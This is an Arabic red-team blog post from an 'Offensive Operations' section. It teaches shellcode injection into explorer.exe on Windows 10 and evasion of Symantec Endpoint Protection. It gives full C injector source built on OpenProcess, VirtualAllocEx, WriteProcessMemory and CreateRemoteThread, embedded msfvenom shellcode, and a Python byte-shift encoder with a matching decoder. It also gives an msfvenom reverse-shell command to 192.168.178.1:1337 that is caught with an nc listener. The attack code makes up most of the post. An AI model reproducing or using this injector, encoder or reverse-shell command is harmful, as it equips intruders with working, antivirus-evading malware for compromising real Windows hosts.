العمليات الهجومية - Offensive Operationsمواضيع ومقالات

تنفيذ Shellcode injection على windows 10 وتخطي Symantec EPP

مُنذ فترة أحاول التركيز بشكل كبير على فهم بعض الأليات المُستخدمة في عمليات الـ Red Teaming وتحديداً أثناء هجمات الـ Client Side Attacks والتي تختص بمحاولة إبقاء الهجوم خفي وهادئ قدر الإمكان على الهدف بعد إختراقه والحصول على limited shell لتجنُب رصده من قبل أي حمايات متوقعه داخل الشبكة.

في هذا المقال إن شاء الله سوف أقوم بشرح تقنية بسيطه تقوم بعمل shellcode injection داخل process تعمل داخل نظام Windows 10 بعد كتابة Custom encoder للـ shellcode الخاص بنا لتجنُب كشفه من Symantec Endpoint Protection

بيئة العمل

سوف نقوم بتنفيذ المقال على windows 10 يوجد عليه Symantec Endpoint Protection بأخر التحديثات المُنصبه , هدفنا هو الحصول على shell من خلال عمل shellcode injection على process تعمل بالنظام وهي “explorer.exe” ويجب أن ننتبه بأننا سوف نستهدف windows 10 يعمل من خلال x64 architecture.

ألية العمل

سوف نقوم بكتابة  C program بسيط وهو عباره عن الـ Malware الذي يقوم بعملية الـ process injection ومن ثُم عمل compile له على windows 10 , وظيفته بكل إختصار كما ذكرت هي حقن الـ shellcode الخاص بنا بعد ما نقوم بعمل decode له داخل الـ explorer.exe ومن ثم تنفيذه.

كما سوف نقوم بكتابة shellcode encoder بسيط جداً يقوم بعمل بعض التغيرات على الـ shellcode الخاص بنا لتجنُب كشفه من SEP كما ذكرنام مسبقاً , وسوف نُضيف الـ decoder الخاص بالـ shellcode من خلال C code بسيط داخل الـ Malware الخاص بنا.

مفهوم الـ Process injection

المقصود بـ Process injection بكل بساطة هو عملية إضافة كود مُعين إلى running process داخل النظام وتشغيل هذا الكود من خلالها , أي لنتفرض بالحالة الطبيعية بأننا نقوم بتشغيل الـ malware الخاص بنا من خلال ملف إسمه superhotfile.exe , فور تشغيل الملف سوف يقوم نظام التشغيل بعمل Process له بإسم superhotfile والتي قد يتم تسجيلها كحدث مُعين وإرسالها لبعض الحمايات أو للأقسام المُختصة بأن هناك عملية غريبه بهذه الإسم تم فتحها على أحد الاجهزة وهُنا قد تكون مُهمة الـ Blue team بمراقبة الـ Process وتحليلها لمعرفة ما تقوم به داخل النظام , ولكن في حال قُمنا بحقن الكود الخاص بنا داخل “legitimate process” لتجنُب أي حمايات قد تُصادفنا.

لفهم مبدأ عمل الـ Process injection بشكل تقني سوف أقوم بتلخيص المفهوم على شكل خطوات كالتالي :

  1. نحتاج لفتح الـ Remote process التي نرغب بعمل injection للـ shellcode الخاص بنا من خلالها , وسوف نقوم بتنفيذ هذا من خلال OpenProcess function 
  2. بعد فتح الـ Remote process سوف نحتاج لحجز مساحة داخل الـMemory “الذاكرة” الخاصة بالـ Process وإعطائها صلاحيات القراءة والكتابة والتنفيذ داخل المساحة التي تم حجزها داخل الـ Memory من خلال VirtualAllocEx function.
  3. الأن أصبحنا جاهزين لكتابة الـ shellcode الخاص بنا داخل الـ memory وسوف نقوم بإستخدام WriteProcessMemory function لتنفيذ هذه العملية.
  4. أخيراً وبعد ما قُمنا بكتابة الـ shellcode داخل الذاكرة سوف نقوم بتشغيله بإستخدام CreateRemoteThread function

وبناءاً على ما سبق قُمت بكتابة هذا الكود الذي يقوم بالعملية وسوف أقوم بتطويره لمراحل مختلفة أثناء المقال

#include <windows.h>
#include <sys/types.h>
#include <unistd.h>
#include <tlhelp32.h>

int main(int argc, char **argv){
	
	int process_id;
	process_id = 8284;
	printf("Process ID is %d\n", process_id);
	
    
// msfvenom -p windows/x64/exec cmd=calc.exe -f c exitfunc=thread

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";


	HANDLE process_handle;
	DWORD pointer_after_allocated;
	process_handle =  OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
	if (process_handle==NULL)
{ 
	  puts("[-]Error while open the process\n");

}else{
	puts("[+] Process Opened sucessfully\n");
}
	pointer_after_allocated = VirtualAllocEx(process_handle, NULL , sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(pointer_after_allocated==NULL){
		puts("[-]Error while get the base address to write\n");
	}else{
		printf("[+]Got the address to write 0x%x\n", pointer_after_allocated);
	}

	if(WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, (LPCVOID)shellcode, sizeof(shellcode), 0)){
		puts("[+]Injected\n");
		puts("[+]Running the shellcode as new thread !\n"); 
		CreateRemoteThread(process_handle, NULL, 100,(LPTHREAD_START_ROUTINE)pointer_after_allocated, NULL, NULL, 0); 

	}else{
	puts("Not Injected\n");
	}
	
	
	
}

دعوني أشرح هذا الكود إبتداءاً من السطر 9 وهو السطر المسؤول عن تعريف الـ process id التي نُريد أن نقوم بحقن الـ shellcode الخاص بنا بها ومن ثم نقوم بطباعته بالسطر رقم 10 , السطر رقم 15 من خلاله نقوم بحفظ الـ shellcode داخل shellcode[] , السطر 37 نقوم من خلاله HANDLE وهو بمثابة reference للـ process الخاصة بنا والتي سوف ترجع لنا من خلال الـ OpenProcess function.

بالسطر 38 نقوم بتعريف DWORD variable ليحمل الـ base address الذي تم حجزه بالـ Memory , والسطر رقم 39 نقوم من خلاله بإستخدام  OpenProcess وتمرير الخيارات process_all_access والذي يُعطينا كل الصلاحيات على الـ process التي نُريدها , من هنا تستطيع أن تقرأ أكثر عن الـ process access rights , ومن ثم تمرير قيمة الـ process التي نُريد إستخدامها.

بالسطر 40 نقوم بالتحقق في حال عدم فتح الـ Process وطباعة رسالة بالسطر 41 , وفي حال تمكنا من فتح الـ process سوف نقوم بطباعة الرسالة بالسطر 45, بعد ذلك سوف نقوم بالسطر 47 بإستخدام VirtualAllocEx لحجز مكان بالـ memory وإرجاع قيمة الـ base address داخل المُتغير pointer_after_allocated وبالطبع نقوم بتمرير الـ HANDLE الخاص بالـ process و حجم الـ shellcode “المساحة” التي نُريد حجزها وأخيراً تمرير flAllocationType والتي تحمل القيمة MEM_COMMIT | MEM_RESERVE والتي سوف تُمكننا من حجز المساحة وعمل commit لها وتمرير flProtect والتي تحمل القيمة PAGE_EXECUTE_READWRITE لإعطاء المساحة التي تم حجزها إمكانية القراءة والكتابة والتنفيذ.

في السطر 48 نتحقق من حجز المساحة وفي حال تم حجزها نطبع الرسالة بالسطر 51 مع طباعة الـ base address وفي حال فشلت سوف نطبع الرسالة بالسطر 49.

في السطر 54 سوف نقوم بإستدعاء WriteProcessMemory لكتابة الـ shellcode الخاص بنا داخل الذاكرة من خلال تمرير الـ process_handle الخاص بنا وتمرير قيمة الـ base address وعنوان الـ shellcode الخاص بنا وأخيراً حجم الـ shellcode.

في السطر 57 نقوم بإستدعاء CreateRemoteThread لتشغيل الـ shellcode بالمكان التي تم حجزه بالـ Memory من خلال تمرير الـ process_handle وتمرير الـ base address الخاص بنا مع باقي الخيارات التي تستطيع التعرف عليها من هُنا.

بعد عمل compile للبرنامج من خلال DevCpp سوف نُلاحظ التالي:

بالفعل تم تشغيل الـ shellcode الخاص بنا داخل explorer.exe وتم تشغيل الـ calc.exe لنا , ولكن بنفس الوقت قام symantec بكشف الملف وإعتباره على أنه ضار , إذاً نُريد الأن بان نقوم بإيجاد طريقة لتخطي هذا الموضوع لذلك سوف نقوم بكتابة python encoder بسيط يقوم بقراءة الـ shellcode من msfvenom ومن ثم عمل encode بسيط له.

كتابة Python shellcode encoder

سوف نقوم الأن بكتابة الـ encoder والذي سوف يقرأ الـ shellcode من msfvenom على شكل bytes ومن ثُم إضافة القيمة 0x01 لكل byte ومن ثم طباعته على شكل hex format كأي shellcode يخرُج من msfvenom , وهذا هو الـ encoder:

#!/usr/bin/python

import sys

raw_data = bytearray(sys.stdin.read())

new_shellcode = []
for opcode in raw_data:
        new_opcode = opcode + 0x01
        new_shellcode.append(new_opcode)


print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])

حيث كما نُلاحظ بأننا نقرأ من stdin ونحفظ المُدخلات داخل bytearray ومن ثم نقوم بالتعامل مع كل byte بشكل منفصل وعمل إضافة للقيمة 0x01 له وأخيراً طباعته على شكل hex format لنا.

ولتشغيله سوف نقوم بتنفيذ الأمر التالي:

msfvenom -p windows/x64/exec cmd=calc.exe -f raw exitfunc=thread | python shellcode_encoder.py

إستخدمت exitfunc=thread لكي يتم تشغيل الـ shellcode كـ thread فور الإنتهاء من التنفيذ

والذي سوف تكون نتيجته التالي:

هذا هو الـ encoded shellcode الذي سوف نستخدمه في حالتنا , سوف نقوم الأن بكتابة for loop بسيطة تُمثل جزئية الـ decoder الخاصه بنا ليُصبح شكل الكود النهائي الخاص بنا كالتالي:

#include <windows.h>
#include <sys/types.h>
#include <unistd.h>
#include <tlhelp32.h>

int main(int argc, char **argv){
	
	int process_id;
	process_id = 8284;
	printf("Process ID is %d\n", process_id);
	
    
// msfvenom -p windows/x64/exec cmd=calc.exe -f c exitfunc=thread | python shellcode_encoder.py

unsigned char shellcode[] = "\xfd\x49\x84\xe5\xf1\xe9\xc1\x1\x1\x1\x42\x52\x42\x51\x53\x52\x57\x49\x32\xd3\x66\x49\x8c\x53\x61\x49\x8c\x53\x19\x49\x8c\x53\x21\x49\x8c\x73\x51\x49\x10\xb8\x4b\x4b\x4e\x32\xca\x49\x32\xc1\xad\x3d\x62\x7d\x3\x2d\x21\x42\xc2\xca\xe\x42\x2\xc2\xe3\xee\x53\x42\x52\x49\x8c\x53\x21\x8c\x43\x3d\x49\x2\xd1\x8c\x81\x89\x1\x1\x1\x49\x86\xc1\x75\x68\x49\x2\xd1\x51\x8c\x49\x19\x45\x8c\x41\x21\x4a\x2\xd1\xe4\x57\x49\x100\xca\x42\x8c\x35\x89\x49\x2\xd7\x4e\x32\xca\x49\x32\xc1\xad\x42\xc2\xca\xe\x42\x2\xc2\x39\xe1\x76\xf2\x4d\x4\x4d\x25\x9\x46\x3a\xd2\x76\xd9\x59\x45\x8c\x41\x25\x4a\x2\xd1\x67\x42\x8c\xd\x49\x45\x8c\x41\x1d\x4a\x2\xd1\x42\x8c\x5\x89\x49\x2\xd1\x42\x59\x42\x59\x5f\x5a\x5b\x42\x59\x42\x5a\x42\x5b\x49\x84\xed\x21\x42\x53\x100\xe1\x59\x42\x5a\x5b\x49\x8c\x13\xea\x58\x100\x100\x100\x5e\x49\xbb\x2\x1\x1\x1\x1\x1\x1\x1\x49\x8e\x8e\x2\x2\x1\x1\x42\xbb\x32\x8c\x70\x88\x100\xd6\xbc\xe1\x1e\x2b\xb\x42\xbb\xa7\x96\xbe\x9e\x100\xd6\x49\x84\xc5\x29\x3d\x7\x7d\xb\x81\xfc\xe1\x76\x6\xbc\x48\x14\x73\x70\x6b\x1\x5a\x42\x8a\xdb\x100\xd6\x64\x62\x6d\x64\x2f\x66\x79\x66\x1";

int i;
for(i=0;i<=sizeof(shellcode);i++){
	shellcode[i] = shellcode[i] - 0x01;
}


	HANDLE process_handle;
	DWORD pointer_after_allocated;
	process_handle =  OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
	if (process_handle==NULL)
{ 
	  puts("[-]Error while open the process\n");

}else{
	puts("[+] Process Opened sucessfully\n");
}
	pointer_after_allocated = VirtualAllocEx(process_handle, NULL , sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(pointer_after_allocated==NULL){
		puts("[-]Error while get the base address to write\n");
	}else{
		printf("[+]Got the address to write 0x%x\n", pointer_after_allocated);
	}

	if(WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, (LPCVOID)shellcode, sizeof(shellcode), 0)){
		puts("[+]Injected\n");
		puts("[+]Running the shellcode as new thread !\n"); 
		CreateRemoteThread(process_handle, NULL, 100,(LPTHREAD_START_ROUTINE)pointer_after_allocated, NULL, NULL, 0); 

	}else{
	puts("Not Injected\n");
	}
	
	
	
}

حيث أننا بالسطر 18 قُمنا بإضافة for loop تقوم بطرح القيمة 0x01 من كل byte موجود بالـ shellcode لكي ترجعه لحالته الطبيعية أثناء الـ runtime ومن ثم حقنه وتشغيله في الـ Memory , وبعد ما قُمنا بعمل compile وتشغيل للبرنامج حصلنا على التالي:

كما نرى قُمنا بتشغيل الـ shellcode وعمِل دون مشاكل ودون أن يتم كشفه من SEP , وهذه صورة أخرى توضح فحص الملف من داخل Symantec بأخر تحديث له:

وطبعاً تم حقنه داخل الـ explorer.exe دون أي مشاكل أيضاً كما بالصور السابقة , الأن سوف نقوم بعمل reverse shell shellcode وإضافته للبرنامج الخاص بنا كالتالي:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.178.1 LPORT=1337 -f raw exitfunc=thread | python shellcode_encoder.py

ليُعطينا النتيجة:

وبعد إضافته للبرنامج وعمل compile له نحصل على الملف التالي:

والأن نتحقق من عمل nc listener على الـ port رقم 1337 كالتالي:

وأخيراً بعد تشغيل poc2.exe نحصل على التالي:

وهذه شكل الـ windows 10 بعد تنفيذ الملف:

تم حقن الـ shellcode وتشغيله دون أي مشاكل كما لاحظنا ودون أن يتم كشفه من قبل SEP وهذا الفيديو يوضح العملية:

للعلم تم إضافة بعض الجُزئيات الخاصة بإكتشاف رقم الـ process بشكل تلقائي داخل الكود بالفيديو والتي لم يتم شرحها بهذا المقال

مقالات ذات صلة

‫3 تعليقات

  1. شرح جميل جداَ ولكن يبقى السؤال. هل SEPP يعمل بكامل مزاياه ؟؟
    هنا اقصد :
    SONAR
    Proactive Threat Protection
    Network Threat Protection

    ارجوا منك الإجابة وشكراً لك.

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى